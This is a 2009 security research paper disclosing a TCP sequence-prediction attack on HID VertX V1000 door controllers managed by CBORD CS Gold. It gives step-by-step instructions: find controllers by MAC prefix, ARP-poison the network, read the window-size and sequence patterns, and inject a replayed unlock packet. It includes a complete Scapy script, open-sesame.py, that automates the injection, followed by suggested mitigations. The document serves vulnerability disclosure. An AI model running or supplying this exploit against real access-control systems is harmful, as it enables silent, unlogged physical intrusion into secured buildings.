Ricky Lawshae, OSCP, GPEN
March 23, 2009

Picking Electronic Locks Using TCP Sequence Prediction

Abstract:
Card reader systems are being relied on more and more frequently as a method of electronically controlling access to physical locations. These systems, especially in larger deployments, usually consist of RFID or smart card readers connected to an IP-based controller that is used for authenticating users and remotely managing locations. The security of RFID technology has been discussed at length from just about every angle one could imagine, but the security of the controllers themselves has, to this point, been largely ignored as an avenue of exploitation in these systems. This paper will attempt to show just how easy it is to trick these controllers into opening the door for you, without the need of a card, by exploiting a problem that is common to almost all IP-based embedded devices: predictable TCP sequence numbering.

Theory:

The beauty of having an IP-based access control system is being able to manage the locations remotely. An administrator can update user privileges, monitor alarm points, and most importantly (for our purposes, at least), open and close doors, all from the comfort of his or her desk. If a user forgets his or her ID, but is allowed to enter a particular secured area, the administrator can choose to send a remote command to temporarily unlock the door for that user.

The danger is that these remote commands can be intercepted by a "man-in-the-middle" and can then be replayed by the attacker to open that door at any point in the future, without the knowledge or permission of the administrator. The reason this is possible is that the packets being sent back and forth between the door controller and the administrator use very predictable sequence numbers in their TCP session. That means an attacker can guess what the next sequence number will be and inject a packet with that number and the IP address of the administrator into the session, and the door controller will see it as a valid part of the conversation. If the injected packet happens to have an open command in it, then the door controller will happily open the door, just like if it had been asked to do so by the administrator. No alarms will be raised as it is viewed by the door controller as a valid command, and no record of the command will be logged on the server as we are bypassing it to speak directly with the controller itself.

Proof of Concept:

In this test case, I used CBORD's CS Gold system as the "administrator" to send commands to their Squadron door controllers (better known as HID's VertX V1000).

The first step is to locate and connect to a subnet with a V1000 on it. These are easy to find, as all HID's controllers have MAC addresses that begin with 00:06:8E:00. Once connected to the subnet, a man-in-the-middle attack is required to intercept packets meant for the V1000's IP address. You can do this by poisoning its ARP cache. Observe the TCP traffic between the CS Gold server and the V1000 using Wireshark or any other packet sniffing tool, and you will notice two things that change from packet to packet:

- The window size of packets coming from the server starts at 65535 and then decrements every thirty seconds or so until it gets to within 40 of 64111, at which point the cycle starts over. Every packet sent by the server during the thirty second interval has the same window size.
- The sequence number used by the server increments by 40 for each new command sent.

Once a packet with an open command as its payload is captured (you are on your own for this part), you can copy the hex stream of the payload for use in your injected packet[1].

Whenever you would like to inject your spoofed packet, you must sniff a packet from the server in order to get the current window size and sequence number. Create a packet with the following values using your favorite packet spoofing tool:

- Source IP = Server's IP address
- Source Port = Server's port
- Destination IP = V1000's IP address
- Destination Port = V1000's port
- Window size = Current window size of the packet from the server
- Sequence number = Current sequence number of the packet from the server + 40
- Acknowledgement number = Current acknowledgement number of the packet from the server
- Payload = The hex stream of the open command that was observed earlier

Once this packet is placed on the wire, the V1000 will accept it as the next one in sequence from the server and execute the open command. The lock has been picked, and the door is open.

To simplify and expedite matters, I wrote a python script using the Scapy framework called *open-sesame.py*[2] which takes the IP address of the V1000 and the hex stream of the open command as its two arguments. It then sniffs for a packet sent from the server, copies and changes the necessary values, and injects a new packet with the hex stream attached.

Results and Conclusions:

One side-effect that should be noted is that, after a packet has been successfully injected into the conversation all subsequent packets sent from the server to the door controller will have incorrect sequence numbers, causing the server to eventually reset the connection. This may cause the server's source port to change, and may render the sniffed payload unable to be used again (see footnote 1).

While this attack has a fairly low likelihood of being carried out in the wild, the potential security and safety risks alone warrant further attention. A simple, though not entirely failsafe, solution would be to put the door controller system on a separate lan, thereby removing the vulnerability to simple man-in-the-middle attacks. Also, taking steps to monitor for and prevent man-in-the-middle attacks in general would be a good idea. However, the real solution to this problem lies with the vendors themselves to either encrypt traffic between the server and the door controller, or use less predictable sequence numbering schemes in their TCP sessions. This would make it much harder, if not entirely impossible, to inject a packet into the conversation, eliminating the risk of spoofed commands.

Footnotes:

1. The one saving grace in all of this is that I have not yet found a way to generate my own payloads. A valid open command must be captured in order to have something to inject. From what I have observed, the payload is computed based on the duration of the open command sent, the door it is sent to, and the source port used by the server that sends the command. If any one of these values changes, a new valid open command must be captured.

2. *open-sesame.py* (watch out for improper line-breaks due to formatting)

```
#! /usr/bin/env python

################################################################################
# open-sesame.py
# Ricky Lawshae
# Used to exploit predictable sequence numbers in CBORD Squadron access controllers
# in order to inject a sniffed unlock command and "pick the lock" of a door over TCP.
# Must have scapy installed to run.
#
# <target> - IP address of the door controller (V1000)
# <payload> - Hex string of sniffed payload to be injected
################################################################################

import sys
if len(sys.argv) != 3:
    print "Usage: " + sys.argv[0] + " <target> <payload>"
    sys.exit(1)

payload = ''
tmp = ''

# Format hex stream from "aaaaaa" to "\xaa\xaa\xaa". Thx Venom_X!
for i in range(0,len(sys.argv[2])):
    if i > 0:
        if (i + 1) % 2 == 0:
            tmp = "%s%c" % (tmp,sys.argv[2][i])
            tmp = "%s%s" % ('\\x',tmp)
            payload = "%s%s" % (payload,tmp)
            tmp = ''
        else:
            tmp = sys.argv[2][i]
    else:
        tmp = sys.argv[2][i]

import logging
logging.getLogger("scapy").setLevel(1)

from scapy import *
# default verbosity level is 2
conf.verb = 0

# Sniff a packet to get initial window size
p = sniff(filter="tcp and host " + sys.argv[1],count=1)

if p:
    print ">>> Got a packet. Now making sure it's the one we want."

# Make sure the packet we sniffed is coming from the server
while(p[0].window < 64110):
    p = sniff(filter="tcp and host " + sys.argv[1],count=1)

if p:
    print ">>> OK. Now we inject our spoofed packet with payload attached."

# Add 40 to the sequence number and send it off with the payload attached
p =
sr1(IP(src=p[0].src,dst=p[0].dst)/TCP(sport=p[0].sport,dport=p[0].dport,flags="PA",seq=p[
0].seq + 40,ack=p[0].ack,window=p[0].window)/payload)

if p:
    print ">>> Open sesame!"
```